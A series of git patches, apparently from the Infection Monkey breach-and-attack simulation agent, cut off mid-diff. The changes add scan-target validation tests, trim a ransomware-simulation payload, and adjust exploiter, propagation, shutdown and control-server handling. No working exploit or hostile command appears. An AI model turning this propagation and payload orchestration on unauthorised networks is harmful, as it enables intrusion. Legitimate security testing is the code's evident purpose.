a/monkey/infection_monkey/puppet/mock_puppet.py b/monkey/infection_monkey/puppet/mock_puppet.py index 64c247170..204e44ab4 100644 --- a/monkey/infection_monkey/puppet/mock_puppet.py +++ b/monkey/infection_monkey/puppet/mock_puppet.py @@ -294,7 +294,10 @@ class MockPuppet(IPuppet): }, } - return successful_exploiters[host][name] + try: + return successful_exploiters[host][name] + except KeyError: + return ExploiterResultData(False, {}, [], f"{name} failed for host {host}") def run_payload( self, name: str, options: Dict, interrupt: threading.Event From cabadeb7d1af20f6e266dc40ddbe5804e6d4ba51 Mon Sep 17 00:00:00 2001 From: vakarisz Date: Wed, 15 Dec 2021 13:06:07 +0200 Subject: [PATCH 0197/1110] Agent, UT: Implement scan target validation This changes validate scan target inputs and skip invalid ones. If an invalid blocked IP is specified, then an unhandled exception is raised. --- monkey/common/network/network_range.py | 14 +++- .../network/scan_target_generator.py | 37 +++++++-- .../network/test_scan_target_generator.py | 83 +++++++++++++++++++ 3 files changed, 127 insertions(+), 7 deletions(-) diff --git a/monkey/common/network/network_range.py b/monkey/common/network/network_range.py index 479f5f0d7..b7c8f14a4 100644 --- a/monkey/common/network/network_range.py +++ b/monkey/common/network/network_range.py @@ -9,6 +9,10 @@ from typing import Tuple logger = logging.getLogger(__name__) +class InvalidNetworkRangeError(Exception): + """Raise when invalid network range is provided""" + + class NetworkRange(object, metaclass=ABCMeta): def __init__(self, shuffle=True): self._shuffle = shuffle @@ -53,6 +57,13 @@ class NetworkRange(object, metaclass=ABCMeta): return CidrRange(cidr_range=address_str) return SingleIpRange(ip_address=address_str) + @staticmethod + def validate_range(address_str: str): + try: + NetworkRange.get_range_obj(address_str) + except (ValueError, OSError) as e: + raise InvalidNetworkRangeError(e) + @staticmethod def check_if_range(address_str): if -1 != address_str.find("-"): @@ -178,10 +189,9 @@ class SingleIpRange(NetworkRange): ip = socket.gethostbyname(string_) domain_name = string_ except socket.error: - logger.error( + raise ValueError( "Your specified host: {} is not found as a domain name and" " it's not an IP address".format(string_) ) - return None, string_ # If a string_ was entered instead of IP we presume that it was domain name and translate it return ip, domain_name diff --git a/monkey/infection_monkey/network/scan_target_generator.py b/monkey/infection_monkey/network/scan_target_generator.py index 1e0b4055e..79768c067 100644 --- a/monkey/infection_monkey/network/scan_target_generator.py +++ b/monkey/infection_monkey/network/scan_target_generator.py @@ -1,15 +1,16 @@ import itertools +import logging from collections import namedtuple from typing import List, Set -from common.network.network_range import NetworkRange +from common.network.network_range import InvalidNetworkRangeError, NetworkRange -# TODO: Convert to class and validate the format of the address and netmask -# Example: address="192.168.1.1", netmask="/24" NetworkInterface = namedtuple("NetworkInterface", ("address", "netmask")) -# TODO: Validate all parameters +logger = logging.getLogger(__name__) + + def compile_scan_target_list( local_network_interfaces: List[NetworkInterface], ranges_to_scan: List[str], @@ -17,6 +18,7 @@ def compile_scan_target_list( blocklisted_ips: List[str], enable_local_network_scan: bool, ) -> List[str]: + scan_targets = _get_ips_from_ranges_to_scan(ranges_to_scan) if enable_local_network_scan: @@ -40,15 +42,20 @@ def compile_scan_target_list( def _get_ips_from_ranges_to_scan(ranges_to_scan: List[str]) -> Set[str]: scan_targets = set() + ranges_to_scan = _filter_invalid_ranges( + ranges_to_scan, "Bad network range input for targets to scan:" + ) + network_ranges = [NetworkRange.get_range_obj(_range) for _range in ranges_to_scan] for _range in network_ranges: scan_targets.update(set(_range)) - return scan_targets def _get_ips_to_scan_from_local_interface(interfaces: List[NetworkInterface]) -> Set[str]: ranges = [f"{interface.address}{interface.netmask}" for interface in interfaces] + + ranges = _filter_invalid_ranges(ranges, "Local network interface returns an invalid IP:") return _get_ips_from_ranges_to_scan(ranges) @@ -58,6 +65,9 @@ def _remove_interface_ips(scan_targets: Set[str], interfaces: List[NetworkInterf def _remove_blocklisted_ips(scan_targets: Set[str], blocked_ips: List[str]): + filtered_blocked_ips = _filter_invalid_ranges(blocked_ips, "Invalid blocked IP provided:") + if not len(filtered_blocked_ips) == len(blocked_ips): + raise InvalidNetworkRangeError("Received an invalid blocked IP. Aborting just in case.") _remove_ips_from_scan_targets(scan_targets, blocked_ips) @@ -76,6 +86,11 @@ def _get_segmentation_check_targets( subnets_to_scan = set() local_ips = [interface.address for interface in local_interfaces] + local_ips = _filter_invalid_ranges(local_ips, "Invalid local IP found: ") + inaccessible_subnets = _filter_invalid_ranges( + inaccessible_subnets, "Invalid segmentation scan target: " + ) + inaccessible_subnets = _convert_to_range_object(inaccessible_subnets) subnet_pairs = itertools.product(inaccessible_subnets, inaccessible_subnets) @@ -87,6 +102,18 @@ def _get_segmentation_check_targets( return subnets_to_scan +def _filter_invalid_ranges(ranges: List[str], error_msg: str) -> List[str]: + filtered = [] + for target_range in ranges: + try: + NetworkRange.validate_range(target_range) + except InvalidNetworkRangeError as e: + logger.error(f"{error_msg} {e}") + continue + filtered.append(target_range) + return filtered + + def _convert_to_range_object(subnets: List[str]) -> List[NetworkRange]: return [NetworkRange.get_range_obj(subnet) for subnet in subnets] diff --git a/monkey/tests/unit_tests/infection_monkey/network/test_scan_target_generator.py b/monkey/tests/unit_tests/infection_monkey/network/test_scan_target_generator.py index a28ae8275..af194b300 100644 --- a/monkey/tests/unit_tests/infection_monkey/network/test_scan_target_generator.py +++ b/monkey/tests/unit_tests/infection_monkey/network/test_scan_target_generator.py @@ -1,7 +1,9 @@ from itertools import chain import pytest +from network.scan_target_generator import _filter_invalid_ranges +from common.network.network_range import InvalidNetworkRangeError from infection_monkey.network.scan_target_generator import ( NetworkInterface, compile_scan_target_list, @@ -399,3 +401,84 @@ def test_segmentation_inaccessible_networks(): ) assert len(scan_targets) == 0 + + +def test_invalid_inputs(): + local_network_interfaces = [ + NetworkInterface("172.60.999.109", "/30"), + NetworkInterface("172.60.145.109", "/30"), + ] + + inaccessible_subnets = [ + "172.60.145.1 - 172.60.145.1111", + "172.60.147.888/30" "172.60.147.8/30", + "172.60.147.148/30", + ] + + targets = ["172.60.145.149/33", "1.-1.1.1", "1.a.2.2", "172.60.145.151/30"] + + scan_targets = compile_scan_target_list( + local_network_interfaces=local_network_interfaces, + ranges_to_scan=targets, + inaccessible_subnets=inaccessible_subnets, + blocklisted_ips=[], + enable_local_network_scan=False, + ) + + assert len(scan_targets) == 3 + + for ip in [148, 149, 150]: + assert f"172.60.145.{ip}" in scan_targets + + +def test_range_filtering(): + invalid_ranges = [ + # Invalid IP segment + "172.60.999.109", + "172.60.-1.109", + "172.60.999.109 - 172.60.1.109", + "172.60.999.109/32", + "172.60.999.109/24", + # Invalid CIDR + "172.60.1.109/33", + "172.60.1.109/-1", + # Typos + "172.60.9.109 -t 172.60.1.109", + "172.60..9.109", + "172.60,9.109", + " 172.60 .9.109 ", + ] + + valid_ranges = [ + " 172.60.9.109 ", + "172.60.9.109 - 172.60.1.109", + "172.60.9.109- 172.60.1.109", + "0.0.0.0", + "localhost" + ] + + invalid_ranges.extend(valid_ranges) + + remaining = _filter_invalid_ranges(invalid_ranges, "Test error:") + for _range in remaining: + assert _range in valid_ranges + assert len(remaining) == len(valid_ranges) + + +def test_invalid_blocklisted_ip(): + local_network_interfaces = [NetworkInterface("172.60.145.109", "/30")] + + inaccessible_subnets = ["172.60.147.8/30", "172.60.147.148/30"] + + targets = ["172.60.145.151/30"] + + blocklisted = ["172.60.145.153", "172.60.145.753"] + + with pytest.raises(InvalidNetworkRangeError): + compile_scan_target_list( + local_network_interfaces=local_network_interfaces, + ranges_to_scan=targets, + inaccessible_subnets=inaccessible_subnets, + blocklisted_ips=blocklisted, + enable_local_network_scan=False, + ) From fc767e207468783652575b3b1be752b2a3074720 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 15 Dec 2021 06:48:30 -0500 Subject: [PATCH 0198/1110] Agent: Add missing "f" to f-string Co-authored-by: Shreya Malviya --- monkey/infection_monkey/master/propagator.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/monkey/infection_monkey/master/propagator.py b/monkey/infection_monkey/master/propagator.py index ef3bf92ea..9d31b94b4 100644 --- a/monkey/infection_monkey/master/propagator.py +++ b/monkey/infection_monkey/master/propagator.py @@ -137,7 +137,7 @@ class Propagator: self, exploiter_name: str, host: VictimHost, result: ExploiterResultData ): if result.success: - logger.info("Successfully propagated to {host} using {exploiter_name}") + logger.info(f"Successfully propagated to {host} using {exploiter_name}") else: logger.info( f"Failed to propagate to {host} using {exploiter_name}: {result.error_message}" From 20890e51ec1509e64c3c416b5900b81e47574f21 Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Wed, 15 Dec 2021 12:44:48 +0100 Subject: [PATCH 0199/1110] Agent: Remove ransomware cleanup function --- .../ransomware/ransomware_payload.py | 21 --------------- .../ransomware/test_ransomware_payload.py | 27 +------------------ 2 files changed, 1 insertion(+), 47 deletions(-) diff --git a/monkey/infection_monkey/ransomware/ransomware_payload.py b/monkey/infection_monkey/ransomware/ransomware_payload.py index ff2a89d64..a1e052970 100644 --- a/monkey/infection_monkey/ransomware/ransomware_payload.py +++ b/monkey/infection_monkey/ransomware/ransomware_payload.py @@ -30,7 +30,6 @@ class RansomwarePayload: self._readme_file_path = ( self._target_directory / README_FILE_NAME if self._target_directory else None ) - self._readme_incomplete = False def run_payload(self): if not self._target_directory: @@ -67,26 +66,6 @@ class RansomwarePayload: def _leave_readme_in_target_directory(self): try: - self._readme_incomplete = True self._leave_readme(README_SRC, self._readme_file_path) - self._readme_incomplete = False except Exception as ex: logger.warning(f"An error occurred while attempting to leave a README.txt file: {ex}") - - def cleanup(self): - # This cleanup function is only concerned with cleaning up and replacing *incomplete* - # README.txt files; its goal is not to ensure the existence of a README file. Therefore, - # only retry if a README.txt file actually exists. - if self._readme_incomplete and self._readme_file_path.exists(): - logger.info( - "The process of leaving a README.txt was interrupted. Removing the corrupt file " - "and trying again." - ) - try: - self._readme_file_path.unlink() - self._leave_readme_in_target_directory() - except Exception as ex: - logger.error( - "An error occurred while trying to remove the corrupt or incomplete README.txt " - f"file: {ex}" - ) diff --git a/monkey/tests/unit_tests/infection_monkey/ransomware/test_ransomware_payload.py b/monkey/tests/unit_tests/infection_monkey/ransomware/test_ransomware_payload.py index 09a330553..24eb8443d 100644 --- a/monkey/tests/unit_tests/infection_monkey/ransomware/test_ransomware_payload.py +++ b/monkey/tests/unit_tests/infection_monkey/ransomware/test_ransomware_payload.py @@ -1,4 +1,4 @@ -from pathlib import Path, PurePosixPath +from pathlib import PurePosixPath from unittest.mock import MagicMock import pytest @@ -184,28 +184,3 @@ def test_leave_readme_exceptions_handled(build_ransomware_payload, ransomware_pa # Test will fail if exception is raised and not handled ransomware_payload.run_payload() - ransomware_payload.cleanup() - - -def test_cleanup_incomplete_readme(build_ransomware_payload, ransomware_payload_config): - def leave_readme(_: Path, dest: Path): - if leave_readme.i == 0: - dest.touch() - - leave_readme.i += 1 - - raise Exception("Test exception when leaving README") - - leave_readme.i = 0 - - ransomware_payload_config.readme_enabled = True - ransomware_payload = build_ransomware_payload( - config=ransomware_payload_config, leave_readme=leave_readme - ) - - ransomware_payload.run_payload() - assert (ransomware_payload_config.target_directory / README_FILE_NAME).exists() - - ransomware_payload.cleanup() - assert not (ransomware_payload_config.target_directory / README_FILE_NAME).exists() - assert leave_readme.i == 2 From f1b55b70c2900a61aa61e51170802b15048b39d0 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 15 Dec 2021 08:10:00 -0500 Subject: [PATCH 0200/1110] Agent: Remove redundant check for stop in Exploiter --- monkey/infection_monkey/master/exploiter.py | 5 +---- 1 file changed, 1 insertion(+), 4 deletions(-) diff --git a/monkey/infection_monkey/master/exploiter.py b/monkey/infection_monkey/master/exploiter.py index 0dfc8869f..383fc6fe3 100644 --- a/monkey/infection_monkey/master/exploiter.py +++ b/monkey/infection_monkey/master/exploiter.py @@ -59,10 +59,7 @@ class Exploiter: victim_host = hosts_to_exploit.get(timeout=QUEUE_TIMEOUT) self._run_all_exploiters(exploiters_to_run, victim_host, results_callback, stop) except queue.Empty: - if ( - _all_hosts_have_been_processed(scan_completed, hosts_to_exploit) - or stop.is_set() - ): + if _all_hosts_have_been_processed(scan_completed, hosts_to_exploit): break logger.debug( From a6bb81e4733728fab0349d27d64c931fcc7a5e83 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 15 Dec 2021 08:34:21 -0500 Subject: [PATCH 0201/1110] Agent: Fix order of Exploiter Callback type hint arguments --- monkey/infection_monkey/master/exploiter.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/monkey/infection_monkey/master/exploiter.py b/monkey/infection_monkey/master/exploiter.py index 383fc6fe3..f1a804ba7 100644 --- a/monkey/infection_monkey/master/exploiter.py +++ b/monkey/infection_monkey/master/exploiter.py @@ -15,7 +15,7 @@ QUEUE_TIMEOUT = 2 logger = logging.getLogger() ExploiterName = str -Callback = Callable[[VictimHost, ExploiterName, ExploiterResultData], None] +Callback = Callable[[ExploiterName, VictimHost, ExploiterResultData], None] class Exploiter: From 0f149f7eee5a678025b2c7c03c3414b3cf8c1672 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 15 Dec 2021 09:44:22 -0500 Subject: [PATCH 0202/1110] Agent: Handle error messages from exploit_host() in MockMaster --- monkey/infection_monkey/master/mock_master.py | 6 ++++-- 1 file changed, 4 insertions(+), 2 deletions(-) diff --git a/monkey/infection_monkey/master/mock_master.py b/monkey/infection_monkey/master/mock_master.py index 3844ef590..1d8791c4c 100644 --- a/monkey/infection_monkey/master/mock_master.py +++ b/monkey/infection_monkey/master/mock_master.py @@ -100,7 +100,7 @@ class MockMaster(IMaster): def _exploit(self): logger.info("Exploiting victims") - result, info, attempts = self._puppet.exploit_host( + result, info, attempts, error_message = self._puppet.exploit_host( "PowerShellExploiter", "10.0.0.1", {}, None ) logger.info(f"Attempts for exploiting {attempts}") @@ -108,7 +108,9 @@ class MockMaster(IMaster): ExploitTelem("PowerShellExploiter", self._hosts["10.0.0.1"], result, info, attempts) ) - result, info, attempts = self._puppet.exploit_host("SSHExploiter", "10.0.0.3", {}, None) + result, info, attempts, error_message = self._puppet.exploit_host( + "SSHExploiter", "10.0.0.3", {}, None + ) logger.info(f"Attempts for exploiting {attempts}") self._telemetry_messenger.send_telemetry( ExploitTelem("SSHExploiter", self._hosts["10.0.0.3"], result, info, attempts) From a05175976444a6b4f9444cff3484c57737da6519 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 15 Dec 2021 10:11:32 -0500 Subject: [PATCH 0203/1110] Agent: Get only the config from the get_config() response --- monkey/infection_monkey/master/automated_master.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/monkey/infection_monkey/master/automated_master.py b/monkey/infection_monkey/master/automated_master.py index ff6af8b43..a7f67d87c 100644 --- a/monkey/infection_monkey/master/automated_master.py +++ b/monkey/infection_monkey/master/automated_master.py @@ -98,7 +98,7 @@ class AutomatedMaster(IMaster): return (not self._stop.is_set()) and self._simulation_thread.is_alive() def _run_simulation(self): - config = self._control_channel.get_config() + config = self._control_channel.get_config()["config"] system_info_collector_thread = create_daemon_thread( target=self._run_plugins, From f46bb60da590269131db9f8f9a3937511fe91971 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 15 Dec 2021 09:00:41 -0500 Subject: [PATCH 0204/1110] Agent: Add block parameter to IMaster.terminate() This allows the caller to decide whether or not they're willing to wait for the master to finish shutting down. --- monkey/infection_monkey/i_master.py | 3 ++- monkey/infection_monkey/master/automated_master.py | 7 +++++-- monkey/infection_monkey/master/mock_master.py | 2 +- 3 files changed, 8 insertions(+), 4 deletions(-) diff --git a/monkey/infection_monkey/i_master.py b/monkey/infection_monkey/i_master.py index 9caa71a4d..5269cafee 100644 --- a/monkey/infection_monkey/i_master.py +++ b/monkey/infection_monkey/i_master.py @@ -10,9 +10,10 @@ class IMaster(metaclass=abc.ABCMeta): """ @abc.abstractmethod - def terminate(self) -> None: + def terminate(self, block: bool = False) -> None: """ Stop the master and interrupt any actions that are currently being executed. + :param bool block: Whether or not to block and wait for the master to terminate. """ @abc.abstractmethod diff --git a/monkey/infection_monkey/master/automated_master.py b/monkey/infection_monkey/master/automated_master.py index a7f67d87c..75a5a5dbf 100644 --- a/monkey/infection_monkey/master/automated_master.py +++ b/monkey/infection_monkey/master/automated_master.py @@ -52,12 +52,15 @@ class AutomatedMaster(IMaster): self._master_thread.join() logger.info("The simulation has been shutdown.") - def terminate(self): + def terminate(self, block: bool = False): logger.info("Stopping automated breach and attack simulation") self._stop.set() - if self._master_thread.is_alive(): + if self._master_thread.is_alive() and block: self._master_thread.join() + # We can only have confidence that the master terminated successfully if block is set + # and join() has returned. + logger.info("AutomatedMaster successfully terminated.") def _run_master_thread(self): self._simulation_thread.start() diff --git a/monkey/infection_monkey/master/mock_master.py b/monkey/infection_monkey/master/mock_master.py index 1d8791c4c..0b4f9a3f6 100644 --- a/monkey/infection_monkey/master/mock_master.py +++ b/monkey/infection_monkey/master/mock_master.py @@ -124,7 +124,7 @@ class MockMaster(IMaster): self._telemetry_messenger.send_telemetry(FileEncryptionTelem(path, success, error)) logger.info("Finished running payloads") - def terminate(self) -> None: + def terminate(self, block: bool = False) -> None: logger.info("Terminating MockMaster") def cleanup(self) -> None: From 3f9bd24228fcaf4ce4e94926fc7383c09c058cf0 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 15 Dec 2021 09:02:44 -0500 Subject: [PATCH 0205/1110] Agent: Wait for master to terminate on windows CTRL_CLOSE_EVENT --- .../infection_monkey/utils/signal_handler.py | 30 +++++++++---------- 1 file changed, 15 insertions(+), 15 deletions(-) diff --git a/monkey/infection_monkey/utils/signal_handler.py b/monkey/infection_monkey/utils/signal_handler.py index 6fda3bc12..831b31441 100644 --- a/monkey/infection_monkey/utils/signal_handler.py +++ b/monkey/infection_monkey/utils/signal_handler.py @@ -3,7 +3,6 @@ import signal from infection_monkey.i_master import IMaster from infection_monkey.utils.environment import is_windows_os -from infection_monkey.utils.exceptions.planned_shutdown_error import PlannedShutdownError logger = logging.getLogger(__name__) @@ -12,28 +11,29 @@ class StopSignalHandler: def __init__(self, master: IMaster): self._master = master - def handle_posix_signals(self, signum, _): - self._handle_signal(signum) - # Windows signal handlers must return boolean. Only raising this exception for POSIX - # signals. - raise PlannedShutdownError("Monkey Agent got an interrupt signal") + def handle_posix_signals(self, signum: int, _): + self._handle_signal(signum, False) - def handle_windows_signals(self, signum): + def handle_windows_signals(self, signum: int): import win32con - # TODO: This signal handler gets called for a CTRL_CLOSE_EVENT, but the system immediately - # kills the process after the handler returns. After the master is implemented and the - # setup/teardown of the Agent is fully refactored, revisit this signal handler and - # modify as necessary to more gracefully handle CTRL_CLOSE_EVENT signals. - if signum in {win32con.CTRL_C_EVENT, win32con.CTRL_BREAK_EVENT, win32con.CTRL_CLOSE_EVENT}: - self._handle_signal(signum) + if signum in {win32con.CTRL_C_EVENT, win32con.CTRL_BREAK_EVENT}: + self._handle_signal(signum, False) + return True + + if signum == win32con.CTRL_CLOSE_EVENT: + # After the signal handler returns True, the OS will forcefully kill the process. + # Calling self._handle_signal() with block=True to give the master a chance to + # gracefully shut down. Note that the OS has a timeout that will forcefully kill the + # process if this handler hasn't returned in time. + self._handle_signal(signum, True) return True return False - def _handle_signal(self, signum): + def _handle_signal(self, signum: int, block: bool): logger.info(f"The Monkey Agent received signal {signum}") - self._master.terminate() + self._master.terminate(block) def register_signal_handlers(master: IMaster): From f26ff86e2a45fe32c4ab6b5b2b1452f4cb3eea95 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 15 Dec 2021 10:30:22 -0500 Subject: [PATCH 0206/1110] Agent: Remove disused PlannedShutdownError --- .../infection_monkey/utils/exceptions/planned_shutdown_error.py | 2 -- 1 file changed, 2 deletions(-) delete mode 100644 monkey/infection_monkey/utils/exceptions/planned_shutdown_error.py diff --git a/monkey/infection_monkey/utils/exceptions/planned_shutdown_error.py b/monkey/infection_monkey/utils/exceptions/planned_shutdown_error.py deleted file mode 100644 index 885340c23..000000000 --- a/monkey/infection_monkey/utils/exceptions/planned_shutdown_error.py +++ /dev/null @@ -1,2 +0,0 @@ -class PlannedShutdownError(Exception): - pass From f299e61b208f43798fa79a7dffad0428c462c03d Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Wed, 15 Dec 2021 12:07:13 +0100 Subject: [PATCH 0207/1110] Agent: Handle ControlClient exceptions in AutomatedMaster --- .../master/automated_master.py | 19 +++++++++++++++---- .../master/control_channel.py | 10 ++-------- 2 files changed, 17 insertions(+), 12 deletions(-) diff --git a/monkey/infection_monkey/master/automated_master.py b/monkey/infection_monkey/master/automated_master.py index 75a5a5dbf..cf7e66102 100644 --- a/monkey/infection_monkey/master/automated_master.py +++ b/monkey/infection_monkey/master/automated_master.py @@ -93,15 +93,26 @@ class AutomatedMaster(IMaster): time.sleep(CHECK_FOR_TERMINATE_INTERVAL_SEC) def _check_for_stop(self): - if self._control_channel.should_agent_stop(): - logger.debug('Received the "stop" signal from the Island') - self._stop.set() + try: + if self._control_channel.should_agent_stop(): + logger.debug('Received the "stop" signal from the Island') + self._stop.set() + except Exception as e: + self._failed_stop += 1 + if self._failed_stop > 5: + logger.error(f"An error occurred while trying to check for agent stop: {e}") + self._stop.set() def _master_thread_should_run(self): return (not self._stop.is_set()) and self._simulation_thread.is_alive() def _run_simulation(self): - config = self._control_channel.get_config()["config"] + + try: + config = self._control_channel.get_config()["config"] + except Exception as e: + logger.error(f"An error occurred while fetching configuration: {e}") + return system_info_collector_thread = create_daemon_thread( target=self._run_plugins, diff --git a/monkey/infection_monkey/master/control_channel.py b/monkey/infection_monkey/master/control_channel.py index 5fdd03942..4ad871997 100644 --- a/monkey/infection_monkey/master/control_channel.py +++ b/monkey/infection_monkey/master/control_channel.py @@ -37,10 +37,7 @@ class ControlChannel(IControlChannel): response = json.loads(response.content.decode()) return response["stop_agent"] except Exception as e: - # TODO: Evaluate how this exception is handled; don't just log and ignore it. - logger.error(f"An error occurred while trying to connect to server. {e}") - - return True + raise Exception(f"An error occurred while trying to connect to server. {e}") def get_config(self) -> dict: try: @@ -53,13 +50,10 @@ class ControlChannel(IControlChannel): return json.loads(response.content.decode()) except Exception as exc: - # TODO: Evaluate how this exception is handled; don't just log and ignore it. - logger.warning( + raise Exception( "Error connecting to control server %s: %s", WormConfiguration.current_server, exc ) - return {} - def get_credentials_for_propagation(self) -> dict: try: response = requests.get( # noqa: DUO123 From 72a5e94111714ca752bc25566a9c46d8dae95333 Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Wed, 15 Dec 2021 13:36:34 +0100 Subject: [PATCH 0208/1110] Agent: Raise custom control client exception Move stop agent timeout to a constant, make custom control client exception and raise it, reset failed stop after successfull connection. --- monkey/common/utils/exceptions.py | 4 ++++ monkey/infection_monkey/master/automated_master.py | 10 +++++++--- monkey/infection_monkey/master/control_channel.py | 7 +++++-- 3 files changed, 16 insertions(+), 5 deletions(-) diff --git a/monkey/common/utils/exceptions.py b/monkey/common/utils/exceptions.py index cc70cbc51..7772b5eff 100644 --- a/monkey/common/utils/exceptions.py +++ b/monkey/common/utils/exceptions.py @@ -56,3 +56,7 @@ class DomainControllerNameFetchError(FailedExploitationError): class InvalidConfigurationError(Exception): """ Raise when configuration is invalid """ + + +class ControlClientConnectionError(Exception): + """Raise when unable to connect to control client""" diff --git a/monkey/infection_monkey/master/automated_master.py b/monkey/infection_monkey/master/automated_master.py index cf7e66102..ca917527e 100644 --- a/monkey/infection_monkey/master/automated_master.py +++ b/monkey/infection_monkey/master/automated_master.py @@ -3,6 +3,7 @@ import threading import time from typing import Any, Callable, Dict, List, Tuple +from common.utils.exceptions import ControlClientConnectionError from infection_monkey.i_control_channel import IControlChannel from infection_monkey.i_master import IMaster from infection_monkey.i_puppet import IPuppet @@ -20,6 +21,7 @@ CHECK_FOR_TERMINATE_INTERVAL_SEC = CHECK_ISLAND_FOR_STOP_COMMAND_INTERVAL_SEC / SHUTDOWN_TIMEOUT = 5 NUM_SCAN_THREADS = 16 # TODO: Adjust this to the optimal number of scan threads NUM_EXPLOIT_THREADS = 4 # TODO: Adjust this to the optimal number of exploit threads +STOP_AGENT_TIMEOUT = 5 logger = logging.getLogger() @@ -45,6 +47,7 @@ class AutomatedMaster(IMaster): self._stop = threading.Event() self._master_thread = create_daemon_thread(target=self._run_master_thread) self._simulation_thread = create_daemon_thread(target=self._run_simulation) + self._failed_stop = 0 def start(self): logger.info("Starting automated breach and attack simulation") @@ -96,10 +99,11 @@ class AutomatedMaster(IMaster): try: if self._control_channel.should_agent_stop(): logger.debug('Received the "stop" signal from the Island') + self._failed_stop = 0 self._stop.set() - except Exception as e: + except ControlClientConnectionError as e: self._failed_stop += 1 - if self._failed_stop > 5: + if self._failed_stop > STOP_AGENT_TIMEOUT: logger.error(f"An error occurred while trying to check for agent stop: {e}") self._stop.set() @@ -110,7 +114,7 @@ class AutomatedMaster(IMaster): try: config = self._control_channel.get_config()["config"] - except Exception as e: + except ControlClientConnectionError as e: logger.error(f"An error occurred while fetching configuration: {e}") return diff --git a/monkey/infection_monkey/master/control_channel.py b/monkey/infection_monkey/master/control_channel.py index 4ad871997..9d443337b 100644 --- a/monkey/infection_monkey/master/control_channel.py +++ b/monkey/infection_monkey/master/control_channel.py @@ -4,6 +4,7 @@ import logging import requests from common.common_consts.timeouts import SHORT_REQUEST_TIMEOUT +from common.utils.exceptions import ControlClientConnectionError from infection_monkey.config import WormConfiguration from infection_monkey.control import ControlClient from infection_monkey.i_control_channel import IControlChannel @@ -37,7 +38,9 @@ class ControlChannel(IControlChannel): response = json.loads(response.content.decode()) return response["stop_agent"] except Exception as e: - raise Exception(f"An error occurred while trying to connect to server. {e}") + raise ControlClientConnectionError( + f"An error occurred while trying to connect to server: {e}" + ) def get_config(self) -> dict: try: @@ -50,7 +53,7 @@ class ControlChannel(IControlChannel): return json.loads(response.content.decode()) except Exception as exc: - raise Exception( + raise ControlClientConnectionError( "Error connecting to control server %s: %s", WormConfiguration.current_server, exc ) From b53fae038dcb1f1eada37f6147f95b1ac4469063 Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Wed, 15 Dec 2021 15:43:38 +0100 Subject: [PATCH 0209/1110] Agent: Implement should retry task in automated master Add handling of known requests exceptions in ControlClient. --- monkey/common/utils/exceptions.py | 2 +- .../master/automated_master.py | 38 +++++++++++++------ .../master/control_channel.py | 27 ++++++++----- 3 files changed, 45 insertions(+), 22 deletions(-) diff --git a/monkey/common/utils/exceptions.py b/monkey/common/utils/exceptions.py index 7772b5eff..89caae27a 100644 --- a/monkey/common/utils/exceptions.py +++ b/monkey/common/utils/exceptions.py @@ -58,5 +58,5 @@ class InvalidConfigurationError(Exception): """ Raise when configuration is invalid """ -class ControlClientConnectionError(Exception): +class IslandCommunicationError(Exception): """Raise when unable to connect to control client""" diff --git a/monkey/infection_monkey/master/automated_master.py b/monkey/infection_monkey/master/automated_master.py index ca917527e..b3a064a19 100644 --- a/monkey/infection_monkey/master/automated_master.py +++ b/monkey/infection_monkey/master/automated_master.py @@ -3,7 +3,7 @@ import threading import time from typing import Any, Callable, Dict, List, Tuple -from common.utils.exceptions import ControlClientConnectionError +from common.utils.exceptions import IslandCommunicationError from infection_monkey.i_control_channel import IControlChannel from infection_monkey.i_master import IMaster from infection_monkey.i_puppet import IPuppet @@ -21,7 +21,8 @@ CHECK_FOR_TERMINATE_INTERVAL_SEC = CHECK_ISLAND_FOR_STOP_COMMAND_INTERVAL_SEC / SHUTDOWN_TIMEOUT = 5 NUM_SCAN_THREADS = 16 # TODO: Adjust this to the optimal number of scan threads NUM_EXPLOIT_THREADS = 4 # TODO: Adjust this to the optimal number of exploit threads -STOP_AGENT_TIMEOUT = 5 +CHECK_FOR_STOP_AGENT_COUNT = 5 +CHECK_FOR_CONFIG_COUNT = 1 logger = logging.getLogger() @@ -48,6 +49,7 @@ class AutomatedMaster(IMaster): self._master_thread = create_daemon_thread(target=self._run_master_thread) self._simulation_thread = create_daemon_thread(target=self._run_simulation) self._failed_stop = 0 + self._failed_config = 0 def start(self): logger.info("Starting automated breach and attack simulation") @@ -95,26 +97,38 @@ class AutomatedMaster(IMaster): time.sleep(CHECK_FOR_TERMINATE_INTERVAL_SEC) + def _should_retry_task(self, fn: Callable[[], Any], max_tries: int): + tries = 0 + while tries < max_tries: + try: + return fn() + except IslandCommunicationError as e: + tries += 1 + logger.debug(f"{e}. Retries left: {max_tries-tries}") + if tries >= max_tries: + raise e + def _check_for_stop(self): try: - if self._control_channel.should_agent_stop(): + stop = self._should_retry_task( + self._control_channel.should_agent_stop, CHECK_FOR_STOP_AGENT_COUNT + ) + if stop: logger.debug('Received the "stop" signal from the Island') - self._failed_stop = 0 - self._stop.set() - except ControlClientConnectionError as e: - self._failed_stop += 1 - if self._failed_stop > STOP_AGENT_TIMEOUT: - logger.error(f"An error occurred while trying to check for agent stop: {e}") self._stop.set() + except IslandCommunicationError as e: + logger.error(f"An error occurred while trying to check for agent stop: {e}") + self._stop.set() def _master_thread_should_run(self): return (not self._stop.is_set()) and self._simulation_thread.is_alive() def _run_simulation(self): - try: - config = self._control_channel.get_config()["config"] - except ControlClientConnectionError as e: + config = self._should_retry_task( + self._control_channel.get_config, CHECK_FOR_CONFIG_COUNT + )["config"] + except IslandCommunicationError as e: logger.error(f"An error occurred while fetching configuration: {e}") return diff --git a/monkey/infection_monkey/master/control_channel.py b/monkey/infection_monkey/master/control_channel.py index 9d443337b..8f8f30406 100644 --- a/monkey/infection_monkey/master/control_channel.py +++ b/monkey/infection_monkey/master/control_channel.py @@ 